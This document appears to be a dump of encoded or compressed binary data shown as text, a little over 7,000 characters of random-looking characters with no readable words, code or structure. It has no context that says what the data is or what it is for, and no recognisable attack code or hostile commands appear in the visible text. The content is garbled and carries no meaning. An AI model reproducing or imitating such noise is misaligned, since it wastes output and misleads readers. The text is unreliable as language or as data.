zGCHlLG!m;7SWv@AVGC02G&qx0_fZZE;lLb^gA#EJz^b+^oezF2M)wt!t7)n=mq0H;1R zpPEa<0@9oF)SD2U@rnaQ_^s z!X_62W@DqI8kPKF?Zcvg?!00Jg<})s5>qLnMmhDwVeVjCe&Ru$qGrWHf9fasu)1=BKAQ^F=7a&J}kbEA?c;cg-9aGu8S zG+H*_e)qI|LUjkCTnCkUV-32n(wfxEBwLAmI#(iMtGZB^A;#7wzRzoqs}{y~A!Lxq zA`N)hxBKL6*bGPKgpZq3$S!x5n?hZEuyPuN<1?H{`Mf4NwPBkWNP0{onHAx@ZdN%H0>V$)zO zYJ-IhHloVHj0e@QBEHUMBf=J-uU}81kEj?jn^$>V$T;TZ>mV3slktot_aOX_I0|js zgcl(Oj;*$j6cYlIDFXUjLe3)g9~6xwPS+yvi-#Mcy*iMRP{kZQ>5Tt>$L)T z7_-xS58~CffIBfF**0OAUBft%Ygrq1kedv?CYjq}?es(mC^f83xlAJ(Fr%|MDq<9q z$R?7D&p2@E*H{8t1-HcrSe>8LAn+CYBm(L9b}P)SOBI6X67*>q1oEoG{gihiZGja0 z%Czzh35xAcU2bO9ja3ozy~bDu)%S;XGxFd`Xq5QYOsjD#!p53yG2RQD*@?#ZmLay< zjk3s*e>1FdBLe7X-C8f%fI`CZS)>!<7XR`MN8#2|+F{X)XJC1!R}Fjs8;ui!T^~b7 z&u6{t!Q8gUDhYyJgL&n)EI6m+kcG8L1(lBtE{R3|&`BWdA8Jtw?Bvm8gXkW5k#4Ui z#}tjB3*weyi3_4(;p8sq1BnsYPzpMrw_rj9g2wnX3as-vplb^pk(yJBC#aJk z$eK_eHYo`7ewK7wkbtV9cIo_&uJJi97DONu!mYfl70h%Siw#_hEuk;>KxizjEy6Vg zz}&)`rJm!(dm4tNGgP3vC4Bb9N=}y}z&K?8LPxo?So|*s4TW8GyC4+p8tn$+8eE|1 zvacgTN1@BKa?cbCI}W!E#<+9$iq7n6X}baQlUrdEbq_-!8`daX^5iNCkWL2ud6Lcg zMsSnqjH5j3;wXhG)smvq*x5-+Bi3vJ;yk>^OVuXE!2ei}_YBOH!wSbU;vXRFV&@R7 zrZ*vg*UrjY-7aFkjrg7`94Tnc7Rb-9;?71R!ct*OmQPcZTpGZYu4j@LBw!iCEUF_U zV7*@aAi_{KyzIDh>Yo$hUl--{lAw?9OV0;W*id4o;j2XqT_OG(Y(0dk$PwMDu3>F# z*2TuxkiCdS!n#XB#nz?pl1&M_hrk*C?xEYw0|!FbKO&(iyptKOg_AuZ#(++G-68w| z!s^??Hx{!=fru9kx;^e@6GGcTtRb$}$0(OGxI+p)48I`G&h*_pcx@}%fM+8*PFD*y zc(^Eh0lz+UOlZ+qc>?-KcbHp=6(DRWJ;Ku^VqA@lcKZpqA9f?|tww`cjRjaIPVb6> zmLaBhVM)Q<`~kl{ObSH()~kM|PEfz;hlCZ!)z@k}@bNL=bkH=R7IrcUVC+;Sz|8{O zTmP6LqQGts0uO_4X06#gCPao`TavefL!K8Q38K5j@&sjrqz*?+XD}kJg7Si|xF^q+ zdChGh&03D!D`SJI9m0nnc{76lXv?nXXW4%i6Yn6l%{s+{ztip{J`DRLP*8qN3%X3%%D4D7dEXCfF><~x_59u}5b8Y6 zYdx;^J|{OhX&@B>AT|jQ&}!g7BnAa+Nyv~PLI4c~AP|rwqD6~91ZXM9aNCXsUSS33ctBCfp1v!~CWK!YaCsL~)&p-7V|?HO~a)2C3Q zN}Wozs?w8WUiKW5P@us7g#QH4Y$$SR*oczI04?j2ZNz^Z6S9?H(W`*35l=>pJMbpY zvr!`?)MPTLT83p2>W!FyDqVxD9y9bsb)nd)ti~pcK*}dyz7aQ37C_jlPt67wOH~cn zu1`&^0AB^j2bF~bwIbYqKna#tL=ZN#(0&PN)e0*H8MstVPT3;Bg7!Hi zQ+^D=2OMoek-^dbh8*_jV@N*+DU^3Y7HQ;>NLqw|WCrcTkctAJ=u=A#g^1%ovPGAg zL7UhTVnYBlMp8u0MI{A^PBsJ`XaqW0k4p??ganmY3IHFJ85ZeXOid+}0G>T*#iT)l z#`oetZ!(yqMeq>`*+4Y)r&CZX>6PZ94Z-NsmjV!&l%oRR3F=SY>1Ap|ht(rxQ4zT~ z+(5v+dF5ypaoSKpVHMQW7|>Dq*iHY?deKp3mKkACeF|V}Nv1(WqE7%fK*+yD9_CZB z0#IwMK`}vBrvS!s%aEoQZOiCS5H%(4K;0%pEm&~fhY?cOVw%vGG)17=s7`sPu1~Hi z#8`=iJ(y5jS5oy)|5$(;L?uJ(PPHsc4P6={hCY!IMPmuIWXnqeon%X*9ya=?od&&0 z7(#L)DM?U{#-v5RS~O=}mbq2hWJ6H9 zRFI=AZaH_Y|CQQP+zg#7K-5r`4e+N`HzWaf8*1&3aD7L#A=61Q`EZzAmF0!(6j7cYtq-F_^?Ky=@iFBA&LN|o^K&wOho$^Q- zez(;Z<#as#{P*ww{{Wmyys-BZ)Hn}Y1Z+v4fa90lHBd=Pfym12_q=L#ZYV+-Q$kiE zF{be@X}*I95R#At36$?B@WCMdcycM2AP^{gYK-hQ1u5|jC?W$a5@A{hmVu-&Pb7mN zm~co$pa{=QLrkKwcw&nNwqijA<00CXazs{n%Zj6Nl0RHkkZC_| zc*-CJ|4WFZ3}(jz`4C-i>B!LzX^;f8(QlyqB(oYKrG`C3ju(*G6i}1sil~8LUZYdv!;t~@lZ9)pQ z6rw~p*Fqg7M0V8-;8ZS^O>tf%kmgLMI(ZU4G%oQ-ZdqfHW#|Ka4(-nSI*)JIx+yq`!1Vz>GzMKd<_Rz-Xl9%9w5jqUMV z|9WIv!J!EWL#lKqLk1YzIQj5_C%$#F$nr1@{*+0XOf^)%0__#C4`8i zp(ZuRax~GTe!)@G`BoZ2DKsnWSvj?hESobFsbx32u9agA(%2&Dsg?RWHD7v zi%9b)QIHmTEQOTI@?>*ZkstGTf{^7%F_ICx8EF|pAapVWwSz;}1t(G(5mx~mO-fbe~ zvfyQ1inQZ>2=Ilm>}N~%YRzJn39@WY-_Hl$1yxk)4s|JI{+ zJ*H2cfe!-cRGY6vA+bK%XDeU}m4%ShDbiVMPb#}jsj%g|W*G>cI4pp;vR5O^Z3%qb z;-t8!FDd1OFi2%7x^V z%Rr)7!Hf)Nj`HLeq`(-cWV0QXJ;{*blktzTBLReH!fWP}=XU2dDn(PeaY;Lwp)++i z!`_&7&vi=coKxb2)FW3Ibm~Qtipd)Ouq@qzwQ!}=NPFuvg7U|oZMypsYF*_m1zN*iV&=^+e>>|rCkWUvkXCMg~DxAVl^)3{Y*bsZL z29@?xP~*L>&PYYBS}c+0P49Z!n~pu%oCpJopK$U7M}0b#Gk=nifln1vCmD;p88^GI zKqpP$(y($jabZomvDF=h*9(h15qyoIEE6eHzawIxPZoSw4CC%4C3ZF>p+bO+MwsVWgQL;FY;I>T1R6&nD$RKe5qKJ?(?GJhko;(Vd1eQ!u zIfty;6RukXFin?=bfH4LKz(H)JOT`0Hb-Krw9!JYBkPvt8x`(=|C3t@U~2oG>8%s@ zaxFIZv=cJdepwX=@UjP1MJYej0sg@*#EB>*Cu zN-0^$@%K)>eO1qT)2!4{Ndpw0Gnu+uKQG$ViHLP94a~dlb1bi$wNsrI_JI`pt2Q(? zTiz@pzwpsN2H{<9F8sZ)SZ4P0Oz=)u+vjyc-cQgL57tdOw@>Hb7YQ$w?lMoLP+Z%4xG;J#R{r-^bvGy)#vR9`a~^e9Id(Plu~Q59bICU} z{ii&?W*Qf$b5Fq*wBjL-LKF04A;*&&fZ=}QCwvs4NGpXM|B{DemZMz}5nLI?Tu6sE zO=W!kCjf#m2HYb63zb0_1uB%WS!b3$jRh2kG<&VLgiP3kv{r=JWg09(8CpOsya#>1 zH8MhSCbHxd_ETdIlzTuy3bqkA!(nbVwiX2O6P$7sEaDIT6cfYc6PXnxsHYIjCl$4D zf;NPEm?9WZq9VZ28KUG_Qc!VcQ-L_hB@$pPWmbDYF&YE+as`D1iWq1AflkTtC5}>Y zKhbmk6+i2vc_}A>_+oYVHZAT#H*upPWrAA3F&>|UPJB2vByt!xGCS|5JQ9E!py(qf z@ejn*bN$i^Nss`1V-YR_igFl1&X`^j*hfzxfPV6Q|Lj+L{ilR3XjuS+G6_KnP~tM2 zGZpQSJuB#h=;##fbA{>Hj*FOsT=Hikrh(4Z5aTw1JTZ1}LrS@}hA3E7!T}?aV0A7= zZaxt@BB77K7+>nvT|Z(qVe^ab!-9|~TJ%^JfU*h2*IZqpEQWJgNn>kIp^!)8hq_o5 z%R&@eKv5EjiQP99_m~j1@DiEPkSlj)+~HkrK_VrD8+68i+^B>t84-z6Hk%+RE_Hdk zh;f3{ly|X|+qWR@S0uMlHjfl7Nl|fhfrdR%492T~U?crVFq4fBfVF;q|@o_=^1 zL+KPL)QE-Sj|AtMMI(A2if>0@I8TH?|3rc@Xu^;+q))*Hg{d|ijsgS;uy4~Djms8| z9FjtHb&lNDN^*5d*rt1>CXEeop%)fQ(jiTp#S;)QDo79omZ250#vpr=b2%y$z@cgX zQi@U*TIhwK_QNU9xg&tUpElch$INgV@MH`YNRhTg_%L&55@sv zlSYs1#Hsg%D*E|qb_Jq`G7vn{9A`lt6xB}Wh?Ys=4-01%n*gAlaU~c+sV_M>hq4gI z$Ehtb8vbN|N#P4hiG{SIWitX`{};hko)%B~=N|0%6p1Qoqg6d|ik1zfS**~RXR{D! zMKRp-5*LQ62f3j>F(zdpmJxB6hvT3=*$|qLu0dgQE|RBp7pM`zBB+69-DakOnW+d{ zZ+RLbYqBUE$`hktEA{Y*yaOTa5}_C-Is$vCHAoQbN;1HqZ`W8N06JtMaTfRKLws}; zD={AJN@q4_85s2@HTFZ$;jR|3hgy;m0`WsS+h-4BE7PZ`awSbUq@`C8U)@S)>Xk`3>_kAeVy_v8DHjHU2a6P-2p`+>I$41fI06_}#f&#YHFvleqamKXBQULr zaug||zA1Dc8-=sgGs{x7|1P?hdJDB$@rVS`nSjwB$-)=#0k`}lus4ZEfwPfkAxZ`N z6O3!MKLHpQMt5LJZN76nF`>1dd1VV*x>n&Ns-Xm?i;mJEED$2BwJ{Zt%7zRvx0lF~ z2_YF$=@WKFY9*TzV@eld?XZAq220>L@gA~8ODgL0o z27w;Jp(;TN73amQ|JM5ytafB3yna3*lAo2ib5_4Rak7QxlB=7;I-GioaUxOT!vsN5 z#t}kF+g|WkQAW~?7S(nzWP4JAB9h{=JuwPg!5thV8T|QLS&SnD6Q+A1BU0p99;=G} zg*?j>Nll@MOpK&u3`7Y$75K5n4Iv5sE18bU6G)4K6gClkGZvy-j}Pjt>x4NJ^%y)v zuU>p`8}<{OL3L6@5+~cnTN{P6;aV*<$x^mXak>;xTr|l7upyD9F}ge@$HsbkYnMV3 z0s$`4Nq%H}E2}bLYseQKv5_)@!0+M_Dgwh9=MkjP8Oyq}451?c3dH2g5CS2*M0&cZ z;UPJJ9tE*m{|L|@wLlxyTwgySB_5lin#8ttM5a3&&f@$t?y(qx(HQ95Nfl|34UvZ* zg}m*oga2z9>)1Fw!F&jq9ubIAj_JGfQ_n{;NA7$PwtRy}?6^fTyh$N68^vWAMxQnr z&j5&%^rsX9Z4nnuMN6A9Kx#B}(NpjIY%==B;0MnPkG#4M0P;w|?fm2p!R+^OIKLob+>IqcT9?oYs!zWGZcD8cVtdD`)cS z)k>rn|Bi>tXl>S}tk%pXXMimff~|2dMz=)N%CCIXQt{T_QAIAt)5jbY`S%p)L^v@) z*kZynaSj+S67vZT;2Z4A8hO&Z|w; zU#ruQIF(P;!Wz4+?=0LY46Q!`)4x5>2948~hQrKy+D>)Z=+$RZ%Fd%=UI?9m#%+<7 zZPLm|H=%7yIQ$>W6eB16*N$}*YlPR(UD?@6f9s7l+%4MGO(s3z*)nZxl0BpRU1agS zdCk4kL1B8e!+X{(!87f`Xy#N5PLFbS!wqLDp zLzEF=?Tz-W-~Z+0eMF!brx#Lu<5jNWR?azLo#ju?<6N%5D{zdIOT0riXP4{4>ZoMda=FnO270YF952`^sH-69slk3cJx+X?m6w-KhN@a z-SlLQ-Tn^V{vN+$&*2+u?OKn}MW0S<6!g+g_8d|VeJS2YAKqwR;al(V|9XG+J+j?U zfxt1{@=*WlH%Q^hXZZA|;E_hz9HQ`p|M-v}`EbtSvtIdx?&oeU>nd;Jg1_^oA?BKo zab=!yl0Et}ib*>E&7IsgLBgFXgwN`JF%eU*6_cwB@gh~Hnt?(wBpapwA<8ICRC63sb52e`U;<2>-eg5dFIOE?h`Jvw`(Pgp4h2nMa!>Ea4+Fnha~e4UsEyk;@|%OAwb|jf&~p8M3_+FLWT_; zK7=R`$-#*c3s$r^5MxG;9X);=n1td%kswWW+;~#uN|r5MrgRxo|E9o_C?D2@2s5Eh zoFPg6G}x1-&!IIj9@QuS$iSrnn+lkyQ{v2oJvCjVN>C`&tP6F19cd7(*sxg124%Sw zp~$5**$Qy06t2&yvDU?n9Y2N~S@LAcl`UV! zoLTc`&YflUb^Mf}=%i=Oo+daJb-|~k6$0Q}di6=r0$^Ko9kDjS+z5Lg%pDx~aD&2& z6K9Q_w{oT|Z#R7I8S-!G4|i9`o?ZKP?%fk6VC-GIWYww5nm3JpHrMpB)xUQie?0s3 z<>ec;KefI7`seRo=MTOBz4C8B19vJ5DgG3skD;ydYmmVG|8$$LG2@a`h(QhS0|~+h z3yknE2uB2w#0gEbu%WjqWbrY@2n(;Ez*@XZMxbcKF-IMDT4opcJhBBK;&O1YG5GRr5mq!P+2y*#o@F25WzOft7bQ_M8aRCB2dtxUh#&^3j$GNwVXJoL}Zgaj$kgPxOA$vua3EV?-- z-BchuJH<5APdx>7R8dRi)F4e&O|?f?V=9zXhbk3-*4i-g^F$CKf|M#01$;GFVS8M4 zSYxr9=*45#x^Y=&echG7zLZ@Fz{seTZblnnv@1r&|Kc)lLyVppS2k;7`p`UZ$Fug= z|4M{+LTzK5w_Bgyit8zn@TIFpe(`$NrG4Z5Yug$FMmS-G6P93Mhaa{sT94d?xZ